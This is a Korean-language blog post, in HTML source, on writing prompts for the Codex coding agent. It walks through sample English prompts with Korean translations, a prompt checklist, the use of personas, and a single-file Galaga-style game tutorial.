&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;  왜 영문 프롬프트인가?&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Codex를 포함한 대부분의 AI 코딩 도구는 영문 프롬프트에서 더 정확하고 일관된 결과를 낸다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;학습 데이터의 대부분이 영어 코드베이스&amp;middot;문서이기 때문이다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;실제 사용 시에는 영문으로 작성하는 것을 권장한다. 다만 처음 접하는 독자의 이해를 돕기 위해 각 예시 아래에 한글 번역을 함께 제공한다.&lt;/p&gt;
&lt;/div&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1544&quot; data-origin-height=&quot;840&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0axuZ/dJMcadhDagt/H2EmKus2KLIL2cko71iUx1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0axuZ/dJMcadhDagt/H2EmKus2KLIL2cko71iUx1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0axuZ/dJMcadhDagt/H2EmKus2KLIL2cko71iUx1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0axuZ%2FdJMcadhDagt%2FH2EmKus2KLIL2cko71iUx1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1544&quot; height=&quot;840&quot; data-origin-width=&quot;1544&quot; data-origin-height=&quot;840&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 1 &amp;mdash; 프로젝트 분석&lt;/b&gt; (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/workflows&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Workflows 문서&lt;/a&gt; 제공 예시)&lt;/p&gt;
&lt;pre class=&quot;sql&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Explain how the request flows through the selected code.

Include:
- a short summary of the responsibilities of each module involved
- what data is validated and where
- one or two &quot;gotchas&quot; to watch for when changing this&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; border-left: 3px solid #4CAF50; padding: 12px 15px; margin: 8px 0 12px; border-radius: 0 6px 6px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0; font-size: 12px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;한글로 이해하기&lt;/p&gt;
&lt;pre class=&quot;asciidoc&quot; style=&quot;background: transparent; margin: 0; padding: 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.7; color: #333; white-space: pre-wrap;&quot;&gt;&lt;code&gt;선택한 코드를 통해 요청이 어떻게 흐르는지 설명해줘.

포함할 내용:
- 관련된 각 모듈의 역할 요약
- 어디서 어떤 데이터가 검증되는지
- 이 부분을 수정할 때 주의해야 할 함정 1~2가지&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단순히 &quot;이 코드를 설명해라&quot;보다 포함할 항목을 명시하면 Codex가 더 유용한 분석을 돌려준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 2 &amp;mdash; 기능 추가&lt;/b&gt; (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/prompting&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Prompting 문서&lt;/a&gt; 제공 예시)&lt;/p&gt;
&lt;pre class=&quot;pgsql&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Add a new command-line option `--json` that outputs JSON.&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; border-left: 3px solid #4CAF50; padding: 12px 15px; margin: 8px 0 12px; border-radius: 0 6px 6px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0; font-size: 12px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;한글로 이해하기&lt;/p&gt;
&lt;pre class=&quot;autohotkey&quot; style=&quot;background: transparent; margin: 0; padding: 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.7; color: #333; white-space: pre-wrap;&quot;&gt;&lt;code&gt;JSON을 출력하는 새 커맨드라인 옵션 `--json`을 추가해줘.&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;범위가 명확한 요청이다. 새 옵션의 이름과 동작을 한 줄로 정했기 때문에 Codex가 어디서부터 어디까지 작업해야 하는지 판단하기 쉽다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 3 &amp;mdash; 디버깅&lt;/b&gt; (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/workflows&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Workflows 문서&lt;/a&gt; 제공 예시)&lt;/p&gt;
&lt;pre class=&quot;http&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Bug: Clicking &quot;Save&quot; on the settings screen sometimes shows &quot;Saved&quot; but doesn't persist the change.

Repro:
1) Start the app: npm run dev
2) Go to /settings
3) Toggle &quot;Enable alerts&quot;
4) Click Save
5) Refresh the page: the toggle resets

Constraints:
- Do not change the API shape.
- Keep the fix minimal and add a regression test if feasible.

Start by reproducing the bug locally, then propose a patch and run checks.&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; border-left: 3px solid #4CAF50; padding: 12px 15px; margin: 8px 0 12px; border-radius: 0 6px 6px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0; font-size: 12px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;한글로 이해하기&lt;/p&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;background: transparent; margin: 0; padding: 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.7; color: #333; white-space: pre-wrap;&quot;&gt;&lt;code&gt;버그: 설정 화면에서 &quot;저장&quot; 버튼을 누르면 &quot;저장됨&quot;이 표시되는데,
실제로는 변경사항이 유지되지 않는 경우가 있다.

재현 방법:
1) 앱 실행: npm run dev
2) /settings 이동
3) &quot;알림 활성화&quot; 토글
4) 저장 클릭
5) 페이지 새로고침 &amp;rarr; 토글이 원래대로 돌아옴

제약 사항:
- API 구조는 변경하지 않는다.
- 수정은 최소한으로 하고, 가능하면 회귀 테스트를 추가한다.

버그를 로컬에서 먼저 재현한 다음, 패치를 제안하고 검사를 실행한다.&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 예시가 잘 작동하는 이유는 세 가지다. 재현 단계를 구체적으로 적었고, 건드리면 안 되는 범위를 못 박았고, Codex가 먼저 문제를 재현한 뒤 패치를 제안하도록 순서를 정했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 4 &amp;mdash; 리팩토링 전 계획 세우기&lt;/b&gt; (&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/plan&lt;/code&gt; 응용)&lt;/p&gt;
&lt;pre class=&quot;http&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;/plan Refactor the payment validation flow safely.

Start by reading the current validation path and tests.
Do not edit files yet.

Return:
- files that probably need changes
- behavior that must stay the same
- risks and edge cases
- the smallest implementation steps
- tests to run before and after the change&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; border-left: 3px solid #4CAF50; padding: 12px 15px; margin: 8px 0 12px; border-radius: 0 6px 6px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0; font-size: 12px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;한글로 이해하기&lt;/p&gt;
&lt;pre class=&quot;asciidoc&quot; style=&quot;background: transparent; margin: 0; padding: 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.7; color: #333; white-space: pre-wrap;&quot;&gt;&lt;code&gt;/plan 결제 유효성 검사 흐름을 안전하게 리팩토링한다.

현재 유효성 검사 경로와 테스트를 먼저 읽는다.
아직 파일을 편집하지 않는다.

반환할 내용:
- 변경이 필요할 가능성이 있는 파일
- 그대로 유지해야 하는 동작
- 위험 요소와 엣지 케이스
- 가장 작은 구현 단계
- 변경 전후에 실행할 테스트&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 프롬프트는 &quot;바로 고쳐줘&quot;보다 안전하다. Codex가 먼저 영향 범위와 테스트 기준을 정리하므로, 개발자는 계획을 보고 범위를 줄이거나 빠진 조건을 보완한 뒤 실행으로 넘어갈 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 5 &amp;mdash; 실패한 테스트를 기준으로 원인 좁히기&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;http&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Test failure:
- command: pnpm test -- auth
- failing test: should refresh an expired session token
- error: expected 200, received 401

Goal:
Find the root cause and make the smallest safe fix.

Constraints:
- Do not change the public API response shape.
- Do not rewrite the auth module.
- Add or update one regression test if the fix changes behavior.

Completion:
Run the focused auth test, then tell me what changed and why.&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; border-left: 3px solid #4CAF50; padding: 12px 15px; margin: 8px 0 12px; border-radius: 0 6px 6px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0; font-size: 12px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;한글로 이해하기&lt;/p&gt;
&lt;pre class=&quot;asciidoc&quot; style=&quot;background: transparent; margin: 0; padding: 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.7; color: #333; white-space: pre-wrap;&quot;&gt;&lt;code&gt;테스트 실패:
- 명령어: pnpm test -- auth
- 실패 테스트: 만료된 세션 토큰을 갱신해야 한다
- 오류: 200 예상, 401 수신

목표:
근본 원인을 찾고 가장 작고 안전한 수정을 한다.

제약 사항:
- 공개 API 응답 형태를 변경하지 않는다.
- auth 모듈을 재작성하지 않는다.
- 수정이 동작을 바꾼다면 회귀 테스트를 하나 추가하거나 업데이트한다.

완료 기준:
집중 auth 테스트를 실행하고, 무엇이 왜 바뀌었는지 알려준다.&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발자에게 가장 와닿는 프롬프트는 보통 실패한 명령, 실패한 테스트 이름, 바꾸면 안 되는 계약, 완료 조건을 함께 준다. 이렇게 쓰면 Codex가 &quot;대충 고쳐 보기&quot;보다 원인을 좁혀서 움직이기 쉽다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;더 많은 프롬프트 패턴은 공식 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/workflows&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Workflows 문서&lt;/a&gt;에서 확인한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff9e6; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;초심자용 프롬프트 점검표&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;목표&lt;/b&gt;: 무엇을 고치거나 만들 것인지 한 문장으로 적었는가?&lt;/li&gt;
&lt;li&gt;&lt;b&gt;맥락&lt;/b&gt;: 관련 파일, 화면, 오류 메시지, 재현 단계를 줬는가?&lt;/li&gt;
&lt;li&gt;&lt;b&gt;제약&lt;/b&gt;: 바꾸면 안 되는 API, UI 문구, 파일 범위를 적었는가?&lt;/li&gt;
&lt;li&gt;&lt;b&gt;완료 기준&lt;/b&gt;: 어떤 테스트나 확인이 통과해야 끝인지 적었는가?&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 섹션 1.5: 실전 튜토리얼 프롬프트 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;1.5 따라 해보는 실전 튜토리얼 프롬프트 3가지&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞의 예시들은 실무 코드베이스에서 쓰는 방식이었다. Codex가 처음이거나 개발을 막 시작한 사람이라면 어디서부터 써야 할지 막막할 수 있다. 여기서는 &quot;지금 바로 따라 해볼 수 있는&quot; 시나리오 세 가지를 프롬프트 한 줄씩 뜯어보면서 설명한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1538&quot; data-origin-height=&quot;828&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ckNmTg/dJMcacbW38u/s1zL6iEjr5PBDcOScB2Bkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ckNmTg/dJMcacbW38u/s1zL6iEjr5PBDcOScB2Bkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ckNmTg/dJMcacbW38u/s1zL6iEjr5PBDcOScB2Bkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FckNmTg%2FdJMcacbW38u%2Fs1zL6iEjr5PBDcOScB2Bkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1538&quot; height=&quot;828&quot; data-origin-width=&quot;1538&quot; data-origin-height=&quot;828&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #fff8e6; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;공통 패턴&lt;/b&gt;: 세 예시 모두 같은 구조를 따른다 &amp;mdash; &lt;b&gt;목표(Goal) &amp;rarr; 설정(Setup) &amp;rarr; 기능/규칙 &amp;rarr; 제약(Constraints) &amp;rarr; 완료 기준(Completion)&lt;/b&gt;. 이 순서를 익히면 어떤 작업에도 응용할 수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1960&quot; data-origin-height=&quot;1060&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/M3RUi/dJMcajvmj6i/U44YFkKezKg5uNSvMvIKw1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/M3RUi/dJMcajvmj6i/U44YFkKezKg5uNSvMvIKw1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/M3RUi/dJMcajvmj6i/U44YFkKezKg5uNSvMvIKw1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FM3RUi%2FdJMcajvmj6i%2FU44YFkKezKg5uNSvMvIKw1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1960&quot; height=&quot;1060&quot; data-origin-width=&quot;1960&quot; data-origin-height=&quot;1060&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 페르소나 인사이트 박스 --&gt;
&lt;div style=&quot;background-color: #f0f4ff; border-left: 4px solid #5c7cfa; padding: 16px 18px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;넌 전문가야&quot; &amp;mdash; 꼭 써야 하나?&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;예전에 ChatGPT 쓸 때 &lt;code style=&quot;background: #e8ecff; color: #3b4cca; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;&quot;넌 시니어 개발자야&quot;&lt;/code&gt;, &lt;code style=&quot;background: #e8ecff; color: #3b4cca; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;&quot;넌 HTML/CSS 전문가야&quot;&lt;/code&gt; 같은 역할 주입을 많이 했다. 효과가 있었다. 지시가 모호하니까 역할로 방향을 잡으려던 거다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Codex 같은 에이전트 도구에서는 점점 안 써도 되는 방향으로 흐르고 있다. 이유는 단순하다. &lt;b&gt;Constraints가 페르소나보다 정확하게 범위를 잡아준다.&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #e8ecff; color: #3b4cca; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;&quot;넌 바닐라 JS 전문가야&quot;&lt;/code&gt;는 스타일 힌트다. 반면 &lt;code style=&quot;background: #e8ecff; color: #3b4cca; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;&quot;외부 라이브러리 없이 index.html 하나로 동작해야 한다&quot;&lt;/code&gt;는 범위 제한이다. Codex는 후자를 훨씬 잘 따른다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;페르소나가 여전히 쓸모 있는 경우는 있다. 설명 수준(&lt;code style=&quot;background: #e8ecff; color: #3b4cca; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;&quot;초보자에게 설명하듯 주석을 달아라&quot;&lt;/code&gt;), 피드백 스타일(&lt;code style=&quot;background: #e8ecff; color: #3b4cca; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;&quot;시니어 코드 리뷰 스타일로&quot;&lt;/code&gt;), 특정 관점(&lt;code style=&quot;background: #e8ecff; color: #3b4cca; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;&quot;프론트엔드 입장에서 UX 문제를 찾아라&quot;&lt;/code&gt;) 같은 뉘앙스는 Constraints로 잡기 어렵다. 코드 생성 작업이라면 Goal + Constraints + Completion이 &quot;넌 전문가야&quot; 한 줄보다 낫다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #fff8e1; border-left: 4px solid #ff9800; padding: 15px 18px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;그런데&amp;hellip; 꼭 이렇게 써야 할까?&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;지금까지 설명한 구조화된 프롬프트는 분명히 효과가 있다. 하지만 반대 관점도 있다. 모델이 계속 발전하면서, 오히려 규칙을 모르는 채로 자유롭게 바이브 코딩(vibe coding)하는 사람들이 더 창의적인 결과를 낸다는 이야기가 나온다. 머릿속에 있는 걸 그냥 말하듯 던지면, 모델이 알아서 채워준다는 것이다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;어느 쪽이 맞다기보다, &lt;b&gt;모델이 강해질수록 프롬프트의 최소 요건이 낮아진다&lt;/b&gt;는 말이 더 정확하다. 구조를 알면 정확하게 쓸 수 있고, 몰라도 일단 시작할 수 있다. 아래 예시에서는 두 가지 버전을 모두 보여준다. 먼저 구조화된 프롬프트로 어떻게 작동하는지 보고, 그다음 한두 줄짜리 바이브 버전으로 여러분이 직접 해보자.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;예시 A &amp;mdash; HTML 파일 하나로 게임 만들기&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요즘 LLM은 숫자 맞추기 같은 간단한 게임을 넘어선 지 오래다. 갤러그, 1945 스타일의 슈팅 게임도 싱글 프롬프트 하나면 동작하는 코드가 나온다. 모델이 얼마나 발전했는지 직접 체감하고 싶다면, 이 예시부터 시작해보자. HTML 파일 하나를 브라우저로 열기만 하면 된다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;Goal:
싱글 HTML 파일로 갤러그 스타일 우주 슈팅 게임을 만들어라.

Rules:
- 플레이어 우주선은 좌우 방향키(또는 A/D)로 이동, 스페이스바로 총알 발사
- 적 우주선은 위에서 아래로 내려오며 화면 하단에 닿으면 게임 오버
- 총알이 적에게 맞으면 적이 사라지고 점수가 오른다
- 웨이브마다 적 생성 속도가 빨라진다
- 플레이어는 목숨 3개 &amp;mdash; 적과 충돌 시 1개 감소
- 화면 상단에 점수와 남은 목숨 표시
- 게임 오버 시 최고 점수와 함께 &quot;다시 시작&quot; 화면 표시

Constraints:
- HTML, CSS, JavaScript를 index.html 파일 하나에 모두 작성한다
- 외부 라이브러리 없이 브라우저에서 파일을 열기만 해도 동작해야 한다
- Canvas API로 렌더링한다

Completion:
index.html을 크롬으로 열어 적 5마리를 격추하고,
일부러 적과 충돌해 목숨이 줄어드는지 확인한다.
&quot;다시 시작&quot;을 눌러 점수가 초기화되는지 확인한다.&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 8px; padding: 18px 20px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프롬프트 줄별 해설&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Goal&lt;/b&gt;: &quot;게임 만들어줘&quot;보다 &quot;갤러그 스타일 우주 슈팅 게임&quot;이 구체적이다. 레퍼런스 타이틀 하나로 UI&amp;middot;조작감&amp;middot;난이도 흐름까지 Codex가 공통 인식을 갖는다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Rules (목록으로)&lt;/b&gt;: 조작키, 충돌 판정, 목숨 수를 미리 못 박지 않으면 Codex가 임의로 채운다. 나중에 &quot;왜 목숨이 5개야&quot;라며 다시 고치는 수고를 줄인다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Constraints의 핵심 줄&lt;/b&gt;: &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;&quot;Canvas API로 렌더링한다&quot;&lt;/code&gt; &amp;mdash; 이 줄을 빠뜨리면 Codex가 DOM 엘리먼트를 CSS로 움직이는 방식을 택할 수 있다. 게임 루프가 필요한 작업엔 렌더링 방식을 명시하는 게 낫다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Completion&lt;/b&gt;: &quot;동작 확인&quot;이 아니라 &quot;적 5마리 격추 &amp;rarr; 충돌 &amp;rarr; 다시 시작&quot;처럼 검증 시나리오를 구체적으로. Codex가 어떤 흐름으로 테스트해야 하는지 알 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f3e5f5; border-left: 4px solid #9c27b0; padding: 14px 18px; margin: 16px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;여러분이 직접 해보자 &amp;mdash; 바이브 코딩 버전&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;구조 몰라도 된다. 이 두 줄을 그대로 Codex에 붙여넣고 어떤 결과가 나오는지 확인해보자.&lt;/p&gt;
&lt;pre class=&quot;erlang&quot; style=&quot;background: #2d2d2d; color: #f8f8f2; padding: 12px 14px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.7; margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;갤러그 스타일 우주 슈팅 게임을 HTML 파일 하나로 만들어줘.
방향키로 움직이고 스페이스바로 쏘는 거야. 외부 라이브러리 없이.&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 결과 캡쳐&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 3분 34초 만에 개발 완료 하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 사용 모델 5.5 / reasoning effort : high / fast 모드 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp;(지금은 모델을 알 필요 없다. 모델과 관련된 자세한 내용은 단락 4에 작성해 두었다.)&lt;/p&gt;
